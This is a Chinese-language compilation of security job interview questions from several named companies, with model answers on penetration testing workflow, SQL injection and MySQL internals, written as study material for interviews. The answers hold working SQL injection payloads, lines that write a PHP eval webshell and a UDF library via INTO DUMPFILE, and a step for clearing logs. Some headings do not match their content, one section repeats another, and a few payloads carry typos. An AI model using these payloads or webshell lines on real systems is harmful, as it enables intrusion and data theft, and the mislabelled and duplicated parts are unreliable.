随着国家政策的扶持，网络安全行业也越来越为大众所熟知，相应的想要进入到网络安全行业的人也越来越多，为了更好地进行工作，除了学好网络安全知识外，还要应对企业的面试。
所以在这里我归总了一些网络安全方面的常见面试题，希望对大家有所帮助。
内容来自于社群内毕业生在毕业前持续整理、收集的安全岗面试题及面试经验分享~
注：所有的资料都整理成了PDF，面试题和答案将会持续更新，因为无论如何也不可能覆盖所有的面试题。
目录
一、字节跳动-渗透测试实习生
二、深信服-漏洞研究员实习
三、字节跳动-安全研究实习生
四、长亭科技-安全服务工程师
五、腾讯-安全技术实习生
六、小鹏汽车-安全工程师
七、大厂高频面试题汇总
7.1、SQL注入防护方法
7.2、常见的Web安全漏洞
7.3、给你一个网站你是如何来渗透测试的?
7.4、渗透测试流程
7.5、SQL注入类型
7.6、SQL注入的原理
7.7、如何进行SQL注入的防御
7.8、sqlmap，怎么对一个注入点注入？
7.9、mysql的网站注入，5.0以上和5.0以下有什么区别？
7.10、MySQL存储引擎？
7.11、什么是事务？
7.12、读锁和写锁
7.13、MySQL的索引
7.14、ORDER BY在注入的运用
7.15、GPC是什么？GPC之后怎么绕过？
7.16、Mysql一个@和两个@什么区别
7.17、注入/绕过常用的函数
7.18、盲注和延时注入的共同点？
7.19、如何拿一个网站的webshell？
7.20、sql注入写文件都有哪些函数？
7.21、各种写shell的问题
7.22、sql注入写文件都有哪些函数？
7.23、sql二次注入
7.24、SQL和NoSQL的区别
一、字节跳动-渗透测试实习生
- 自我介绍
- 渗透的流程
- 信息收集如何处理子域名爆破的泛解析问题
- 如何绕过CDN查找真实ip
- phpinfo你会关注哪些信息
- 有没有了解过权限维持
- 说一个你感觉不错的漏洞，展开讲讲
- 输出到href的XSS如何防御
- samesite防御CSRF的原理
- CSRF防御
- json格式的CSRF如何防御
- 浏览器解析顺序和解码顺序
- 过滤逗号的SQL注入如何绕过
- 过滤limit后的逗号如何绕过
- fastjson相关漏洞
- 说一个你知道的python相关的漏洞（SSTI原理，利用过程,payload相关的东西）开放性问答
二、深信服-漏洞研究员实习
- 自我介绍
- 在xx实习的时候做什么东西
- 渗透测试的思路简单说一下
- 护网在里面担当一个什么样的角色
- 红队的一些思路
- 拿下系统后有没有做横向
- 前段时间那个log4j有研究吗，可以简单说一下吗
- （继上一个问题）有哪些混淆绕过的方法
- 内存马有没有了解过
- 冰蝎、哥斯拉这些工具有没有了解过
- 做攻击队的时候有没有研究过什么攻击，比如研究一些工具还是魔改什么的
- 那么多漏洞和攻击，比较擅长哪一个
- 说一下shiro反序列化的形成原因、利用链
- 对一些bypass的方法有没有了解过，有什么姿势可以简单介绍一下
- 反问
三、字节跳动-安全研究实习生
- 你投的岗位是安全研究实习生，你了解我们这边主要是做什么的吗
- 自我介绍
- 现在有什么比较想做的方向吗，比如你写的代码审计、攻防演练、你在学校的研究方向（密码学）其实是三个大方向，现在有什么比较想做的吗
- 有没有审过开源框架、cms、中间件之类的
- 面试官介绍了工作内容
- 我看你简历上有几段实习经历和项目经历，先聊一下实习经历吧，在A主要做什么的
- 详细聊聊入侵测试主要在做什么，遇到的问题
- 关于入侵检测产生大量误报的原因，有没有分析过，有没有比较好的解决方法
- 和A比起来，B的应该就比较偏攻击方对吧，有打仗（雾，面试官好像确实是这么说的）有代码审计，聊一下在B主要做了些什么
- 审表达式引擎的步骤和思路
- 刚刚你说的审计听起来好像和普通开发的审计差不多，都是通过程序流、文档去做，有没有从安全方面入手审计一些项目
- xxe是怎么造成的，从代码层面来看
- 我看你简历有很多攻防演练经历对吧，这几段攻防演练经历有没有哪一次印象比较深刻的，挑一个聊一聊
- 你的这次攻击好像更多的是利用弱口令，有没有一些更有技巧的方法
- 这个头像上传的webshell是怎么上传的
- 还有什么其他的检验方式？要怎么绕过？
- 这两天log4j漏洞很火，有没有去了解一下
- 面试官最后介绍业务
- 反问环节
四、长亭科技-安全服务工程师
- 自我介绍
- web渗透测试有没有过实战
- 讲一下sql注入原理
- 有没有从代码层面了解过sql注入的成因（反问代码层面指的是不是sql语句，答是）
- 了不了解xss，有没有从代码层面了解xss的原理
- 对owasp top10漏洞哪个比较了解
- 讲一讲怎么防御sql注入
- sql注入怎么绕过过滤
- 问了护网时xx有没有成为靶标，有没有对攻击队行为做过研判
- 在xx护网时的工作内容，有没有做过流量包、数据包的研判
- 学校攻防演练时担任的角色，主要工作内容，渗透测试的思路，有什么成果（这个问的还是挺细的，具体到分配的任务、有没有拿下主机或者域控、攻防演练的形式和持续时间等都聊了）
- 平时ctf打的多不多，有什么成绩
- 平时会不会关注一些新颖的漏洞，会不会做代码审计，比如shiro漏洞等有没有做过漏洞复现
- 对钓鱼邮件这些有没有什么了解（因为上面聊xx护网时说了钓鱼邮件和微信钓鱼的事）
- 目前学习的方向是什么
- 最后介绍人才需求
- 反问环节
五、腾讯-安全技术实习生
- 自我介绍
- sql注入了解吗，讲一讲二次注入的原理
- 二次注入要怎么修复
- sql注入过waf了解吗，若一个sql注入过滤了information关键词，怎么绕过
- Redis未授权访问
- 渗透测试的一个完整流程
- 打ctf的时候有没有遇到什么印象特别深的题目
- 文件下载漏洞有没有什么比较好的利用方式
- 利用文件下载漏洞找文件名具体是找什么文件名（读取文件一般会读取哪些文件）（ctf中？实战中？）
- 命令执行漏洞，http不出网有什么比较好的处理方法（发散一点说）
- 接上一题，通过隧道通信，详细讲讲通过什么类型的隧道，讲讲具体操作
- 漏洞预警
- 有没有复现过中间件类型的漏洞（有没有完整的复现过漏洞）
- 在学校的攻防演练中扮演的角色的主要职责是什么
六、小鹏汽车-安全工程师
- 自我介绍
- 有没有挖过src？
- 平时web渗透怎么学的，有实战吗？有过成功发现漏洞的经历吗？
- 做web渗透时接触过哪些工具
- xxe漏洞是什么？ssrf是什么？
- 打ctf的时候负责什么方向的题
- 为什么要搞信息安全，对安全这一块有多大的兴趣，以后会不会转行，还是打算一直从事安全方面工作
- 自己平时怎么学安全的，如果让你做一个新的方向（app安全），会投入多少时间去学习，还是说有自己想做的方向
- 聊一聊代码审计的流程
- 平时是怎么做代码审计的
- 有没有审计过开源框架、CMS？
- 怎么判断一个数据库是mysql还是oracle的？
- sql注入的种类，利用方式？
- 聊一聊sql注入的原理及防御思路
- 做开发的时候用的是什么语言
- 做java开发的时候用过什么框架，能不能做java安全开发
- 有没有做过安卓开发
- 有没有用python写过工具？
- msf利用的是哪个漏洞，有没有成功反弹？
- 护网的时候主要做了些什么，聊一聊对安全产品的理解
- 公司现在需要做app安全的人，现在要你做的话，你会去学吗，或者说感兴趣吗，还是说有别的想做的，不想做app安全，能投入多少时间去学
- 内网渗透了解吗？聊一聊内网渗透的思路
七、大厂高频面试题汇总
这次花了三个月的时间整理各大安全厂商的网络安全职位（包括但不仅限于：安全服务工程师，安全运营工程师，安全，安全攻防工程师“）的面试问题。
话不多说，让我们一起学习吧
目前来说还有非常多的不严谨和冗余，恳请小伙伴们指正修改！
7.1、SQL注入防护方法
- 失效的身份认证和会话管理
- 跨站脚本攻击XSS
- 直接引用不安全的对象
- 安全配置错误
- 敏感信息泄露
- 缺少功能级的访问控制
- 跨站请求伪造CSRF
- 使用含有已知漏洞的组件
- 未验证的重定向和转发
7.2、常见的Web安全漏洞
- SQL注入
- XSS
- 文件遍历、文件上传、文件下载
- 垂直越权、水平越权
- 逻辑漏洞
- 首先对于新人来说，大多数同学都是没有实战经验的，对应面试官提问聊聊你的渗透测试实战，但很多人却无从开口。
7.3、给你一个网站你是如何来渗透测试的?
在获取书面授权的前提下。
1)信息收集
获取域名的whois信息,获取注册者邮箱姓名电话等。
查询服务器旁站以及子域名站点，因为主站一般比较难，所以先看看旁站有没有通用性的cms或者其他漏洞。
查看服务器操作系统版本，web中间件，看看是否存在已知的漏洞，比如IIS，APACHE,NGINX的解析漏洞
查看IP，进行IP地址端口扫描，对响应的端口进行漏洞探测，比如 rsync,心脏出血，mysql,ftp,ssh弱口令等
扫描网站目录结构，看看是否可以遍历目录，或者敏感文件泄漏，比如php探针
google hack 进一步探测网站的信息，后台，敏感文件
2）漏洞扫描
开始检测漏洞，如XSS,XSRF,sql注入，代码执行，命令执行，越权访问，目录读取，任意文件读取，下载，文件包含，
远程命令执行，弱口令，上传，编辑器漏洞，暴力破解等
3）漏洞利用
利用以上的方式拿到webshell，或者其他权限
4）权限提升
提权服务器，比如windows下mysql的udf提权，serv-u提权，windows低版本的漏洞，如iis6,pr,巴西烤肉，
linux藏牛漏洞，linux内核版本漏洞提权，linux下的mysql system提权以及oracle低权限提权
5) 日志清理
6）总结报告及修复方案
7.4、渗透测试流程
- 项目访谈
- 信息收集：whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息
- 漏洞扫描：Nessus, AWVS
- 手动挖掘：逻辑漏洞
- 验证漏洞
- 修复建议
- （如果有）基线检查/复验漏洞
- 输出报告
- 概述
- 测试基本信息
- 测试范围
- 测试时间
- 测试任务
- 测试过程
- 信息安全风险综合分析
- 整体风险分析
- 风险影响分析
- 系统安全分析
- 安全漏洞列表
- 解决方案建议
- 复测报告
- SQL面试题
7.5、SQL注入类型
- 基于报错注入
- 基于布尔的注入，根据返回页面判断条件真假的注入
- 基于时间的盲注，不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
- 宽字节注入
- 联合查询，可以使用 union 的情况下的注入。
- 堆查询注入，可以同时执行多条语句的执行时的注入。
7.6、SQL注入的原理
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题，意外变成了代码被执行。
7.7、如何进行SQL注入的防御
- 关闭应用的错误提示
- 加waf
- 对输入进行过滤
- 限制输入长度
- 限制好数据库权限，drop/create/truncate等权限谨慎grant
- 预编译好sql语句，python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入，只能说一定程度上防止注入。还有缓存溢出、终止字符等。
- 数据库信息加密安全（引导到密码学方面）。不采用md5因为有彩虹表，一般是一次md5后加盐再md5
- 清晰的编程规范，结对/自动化代码 review ，加大量现成的解决方案（PreparedStatement，ActiveRecord，歧义字符过滤， 只可访问存储过程 balabala）已经让 SQL 注入的风险变得非常低了。
- 具体的语言如何进行防注入，采用什么安全框架
7.8、sqlmap，怎么对一个注入点注入？
- 如果是get型号，直接，sqlmap -u “诸如点网址”.
- 如果是post型诸如点，可以sqlmap -u "注入点网址” --data=“post的参数”
- 如果是cookie，X-Forwarded-For等，可以访问的时候，用burpsuite抓包，注入处用*号替换，放到文件里，然后sqlmap -r “文件地址”
7.9、mysql的网站注入，5.0以上和5.0以下有什么区别？
10年前就出了5.0，现在都到5.7了，没啥意义的问题
5.0以下没有information_schema这个系统表，无法列表名等，只能暴力跑表名。
5.0以下是多用户单操作，5.0以上是多用户多操做。
7.10、MySQL存储引擎？
1、InnoDB：主流的存储引擎。支持事务、支持行锁、支持非锁定读、支持外键约束
为MySQL提供了具有提交、回滚和崩溃恢复能力的事物安全（ACID兼容）存储引擎。InnoDB锁定在行级并且也在 SELECT语句中提供一个类似Oracle的非锁定读。这些功能增加了多用户部署和性能。在SQL查询中，可以自由地将InnoDB类型的表和其他MySQL的表类型混合起来，甚至在同一个查询中也可以混合
InnoDB存储引擎为在主内存中缓存数据和索引而维持它自己的缓冲池。InnoDB将它的表和索引在一个逻辑表空间中，表空间可以包含数个文件（或原始磁盘文件）。这与MyISAM表不同，比如在MyISAM表中每个表被存放在分离的文件中。InnoDB表可以是任何尺寸，即使在文 件尺寸被限制为2GB的操作系统上
InnoDB支持外键完整性约束，存储表中的数据时，每张表的存储都按主键顺序存放，如果没有显示在表定义时指定主键，InnoDB会为每一行生成一个6字节的ROWID，并以此作为主键
2、MyISAM：访问速度快，不支持事务，逐渐被淘汰
3、MEMORY：BTREE索引或者HASH索引。将表中数据放在内存中，并发性能差。
4、MERGE、Archive等等不常用的
7.11、什么是事务？
事务是一组原子性的SQL语句或者说是一个独立的工作单元，如果数据库引擎能够成功对数据库应用这组SQL语句，那么就执行，如果其中有任何一条语句因为崩溃或其它原因无法执行，那么所有的语句都不会执行。也就是说，事务内的语句，要么全部执行成功，要么全部执行失败。
举个银行应用的典型例子：
假设银行的数据库有两张表：支票表和储蓄表，现在某个客户A要从其支票账户转移2000元到其储蓄账户，那么至少需求三个步骤：
a.检查A的支票账户余额高于2000元；
b.从A的支票账户余额中减去2000元；
c.在A的储蓄账户余额中增加2000元。
这三个步骤必须要打包在一个事务中，任何一个步骤失败，则必须要回滚所有的步骤，否则A作为银行的客户就可能要莫名损失2000元，就出问题了。这就是一个典型的事务，这个事务是不可分割的最小工作单元，整个事务中的所有操作要么全部提交成功，要么全部失败回滚，不可能只执行其中一部分，这也是事务的原子性特征。
7.12、读锁和写锁
读锁是共享的，即相互不阻塞的，多个客户在同一时刻可以读取同一资源，互不干扰。写锁是排他的，即一个写锁会阻塞其它的写锁和读锁，只有这样，才能确保给定时间内，只有一个用户能执行写入，防止其它用户读取正在写入的同一资源。写锁优先级高于读锁。
7.13、MySQL的索引
索引是帮助MySQL高效获取数据的数据结构。MYISAM和InnoDB存储引擎只支持BTree索引；MEMORY和HEAP储存引擎可以支持HASH和BTREE索引。
7.14、ORDER BY在注入的运用
order by后面可以加字段名，表达式和字段的位置，字段的位置需要是整数型。
7.15、GPC是什么？GPC之后怎么绕过？
如果magic_quotes_gpc=On，PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”，以确保这些数据不会引起程序，特别是数据库语句因为特殊字符（认为是php的字符）引起的污染。
7.16、Mysql一个@和两个@什么区别
@为用户变量，使用SET @var1=1赋值
@@ 为系统变量 ，包括全局变量show global variables \G;和会话变量show session variables \G;
7.17、注入/绕过常用的函数
1、基于布尔SQL盲注
left(database(),1)>'s'
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
regexp正则注入 select user() regexp '^[a-z]';
select user() like 'ro%'
2、基于报错的SQL盲注
1）and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2）通过floor报错 向下取整
3）+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4）.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5）.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6）.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7）.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8）.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9）.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10）.exp()select * from test where id=1 and exp(~(select * from(select user())a));
3、延时注入如何来判断？
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
7.18、盲注和延时注入的共同点？
都是一个字符一个字符的判断
7.19、如何拿一个网站的webshell？
上传，后台编辑模板，sql注入写文件，命令执行，代码执行，
一些已经爆出的cms漏洞，比如dedecms后台可以直接建立脚本文件，wordpress上传插件包含脚本文件zip压缩包等
7.20、sql注入写文件都有哪些函数？
select ‘一句话’ into outfile ‘路径’
select ‘一句话’ into dumpfile ‘路径’
select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
7.21、各种写shell的问题
1、写shell用什么函数？
select '<?php phpinfo()> into outfile 'D:/shelltest.php'
dumpfile
file_put_contents
2、outfile不能用了怎么办？
select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';可以UDF提权
3、dumpfile和outfile有什么不一样？outfile适合导库，在行末尾会写入新行并转义，因此不能写入二进制可执行文件。
4、sleep()能不能写shell？
5、写shell的条件？
用户权限
目录读写权限
防止命令执行：disable_functions，禁止了disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source，但是可以用dl扩展执行命令或者ImageMagick漏洞
open_basedir: 将用户可操作的文件限制在某目录下
7.22、sql注入写文件都有哪些函数？
select ‘一句话’ into outfile ‘路径’
select ‘一句话’ into dumpfile ‘路径’
select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
7.23、sql二次注入
第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身还是脏数据。
在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。
交友网站，填写年龄处是一个注入点，页面会显示出与你相同年龄的用户有几个。使用and 1=1确定注入点，用order by探测列数，union select探测输出点是第几列，
暴库 group_concat(schema_name) from information_schema.schemata
暴表 group_concat(table_name) from information_schema.schemata where table_schema='hhh'
获取数据 concat(flag) from flag
修复：在从数据库或文件中取数据的时候，也要进行转义或者过滤。
7.24、SQL和NoSQL的区别
SQL关系型数据库，NoSQL(Not only SQL)非关系型数据库
1.SQL优点
关系型数据库是指用关系数学模型来表示的数据，其中是以二维表的形式描述数据。
结构稳定，不易修改，常用联表查询
查询能力高，可以操作很复杂的查询
一致性高，处理数据会使用封锁保证数据不被改变
表具有逻辑性，易于理解
2.SQL缺点
不适用高并发读写
不适用海量数据高效读写
层次多，扩展性低
维护一致性开销大
涉及联表查询，复杂，慢
3.NoSQL优点
采用键值对存储数据
由于数据之间没有关系，所以易扩展，也易于查询
数据结构灵活，每个数据都可以有不同的结构
由于降低了一致性的要求，所以查询速度更快
4.比较
非关系型数据库的产生是因为随着网站的进化，并发性增加，扩展性高，一致性要求降低。这样关系型数据库最重要的一致性维护就显得有点多余，并且消耗着性能。因此有了非关系型数据库，它可以算是关系型数据库的一种弱化的结果，在海量数据存储和查询上更胜一筹。
两种数据库没有好坏之分，只是使用的环境不一样。关系型数据库可以说是更严谨的，可靠性更强的数据库，在对于数据精度要求高的环境，比如说银行系统这样自然是像mysql这样的数据库适合。非关系型数据库胜在处理大数据的速度，但是对于数据的准确度没有那么高，对于操作量大的环境比如当前大部分web2.0的网站更加适用一些。
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